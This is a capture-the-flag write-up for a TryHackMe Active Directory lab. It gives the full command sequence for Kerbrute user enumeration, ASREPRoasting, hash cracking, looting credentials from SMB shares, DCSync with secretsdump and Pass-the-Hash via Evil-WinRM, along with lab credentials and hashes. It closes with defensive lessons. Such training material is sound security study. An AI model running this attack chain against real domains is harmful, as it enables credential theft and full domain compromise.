Attacktive Directory — TryHackMe CTF

Overview

A Windows Server Active Directory target on the domain spookysec.local (NetBIOS: THM-AD). The attack starts with zero credentials — Kerbrute enumerates valid domain users, ASREPRoasting extracts a crackable Kerberos hash for a service account with pre-auth disabled, SMB enumeration with those credentials recovers base64-encoded backup account credentials, and DCSync via Impacket's secretsdump.py dumps the Administrator NTLM hash for a final Pass-the-Hash login via Evil-WinRM.

Reconnaissance

SMB / NetBIOS Enumeration

enum4linux -U -S TARGET
# NetBIOS-Domain Name: THM-AD
# Domain: spookysec.local  |  TLD: .local (non-standard / invalid for public DNS)

Step 1 — User Enumeration via Kerbrute

Kerbrute performs username enumeration by sending Kerberos AS-REQ packets for each candidate username and checking whether the DC responds with a PRINCIPAL UNKNOWN error or something else. This is silent — it generates no Windows logon failures and bypasses most SIEM alerting rules tuned for LDAP/SMB brute force.

kerbrute userenum --dc TARGET --domain spookysec.local userlist.txt

# VALID USERNAME: james@spookysec.local
# VALID USERNAME: svc-admin@spookysec.local
# VALID USERNAME: robin@spookysec.local
# VALID USERNAME: darkstar@spookysec.local
# VALID USERNAME: administrator@spookysec.local
# VALID USERNAME: backup@spookysec.local
# VALID USERNAME: paradox@spookysec.local

Two accounts stand out immediately: svc-admin (service account — likely has pre-auth disabled for legacy compatibility) and backup (DC backup account — often has elevated replication rights).

Step 2 — ASREPRoasting

When a domain account has "Do not require Kerberos preauthentication" set, anyone can request a TGT from the DC for that user without knowing the password. The DC hands back an AS-REP encrypted with the user's NTLM hash — which can be cracked offline. svc-admin has this flag set.

python3 GetNPUsers.py spookysec.local/ \
    -usersfile users.txt -no-pass \
    -dc-ip TARGET -format hashcat

# $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:<hash>
# Hash type: Kerberos 5 AS-REP etype 23 → hashcat mode 18200

Step 3 — Hash Cracking

# hashcat (GPU)
hashcat -m 18200 hash.txt passwordlist.txt --force

# john (CPU)
john --format=krb5asrep --wordlist=passwordlist.txt hash.txt

Step 4 — SMB Enumeration & Credential Pivot

smbclient -L //TARGET -U 'svc-admin%management2005'
# → 6 shares: ADMIN$, C$, IPC$, NETLOGON, SYSVOL, backup

smbclient //TARGET/backup -U 'svc-admin%management2005' \
    -c 'get backup_credentials.txt'

cat backup_credentials.txt
# YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

echo 'YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw' | base64 -d
# backup@spookysec.local:backup2517860

Step 5 — DCSync via secretsdump.py

The backup account holds Replicating Directory Changes permissions — the same rights used by legitimate Domain Controllers to sync AD data. Impacket's secretsdump.py abuses these rights to perform a DCSync attack: it impersonates a DC requesting replication and receives all NTLM hashes from the domain controller over the DRSUAPI protocol. No code runs on the target. No files are written to disk.

python3 secretsdump.py \
    -just-dc spookysec.local/backup:backup2517860@TARGET

# [*] Using the DRSUAPI method to get NTDS.DIT secrets
# Administrator:500:aad3b435...::0e0363213e37b94221497260b0bcb4fc:::
# svc-admin:1103:aad3b435...::fc0f1e5...:::
# backup:1118:aad3b435...::19feb5d...:::

Step 6 — Pass-the-Hash via Evil-WinRM

With the Administrator NTLM hash, there's no need to crack it. Pass-the-Hash authenticates directly using the hash as the credential material — WinRM accepts it via the -H flag:

evil-winrm -i TARGET -u Administrator \
    -H '0e0363213e37b94221497260b0bcb4fc'

# Evil-WinRM shell v3.x
# *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
# spookysec\administrator

Full Answer Reference

Lessons Learned

1. ASREPRoasting requires zero credentials. Any service account with pre-auth disabled is a publicly available offline cracking target. Audit with Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} and enforce pre-auth on all accounts.
2. Sensitive files in SMB shares are goldmines. The backup_credentials.txt in plaintext (even base64-encoded) is an instant pivot. Shares should be audited regularly — least privilege on all.
3. DCSync requires only replication rights, not DA. The backup account had dangerous permissions without being Administrator. Monitor non-DC accounts for DS-Replication-Get-Changes-All rights via BloodHound or PowerView.
4. Pass-the-Hash makes cracking optional. NTLM hashes are usable as-is for lateral movement across Windows networks. Enforcing Protected Users group membership and Credential Guard blocks this attack vector.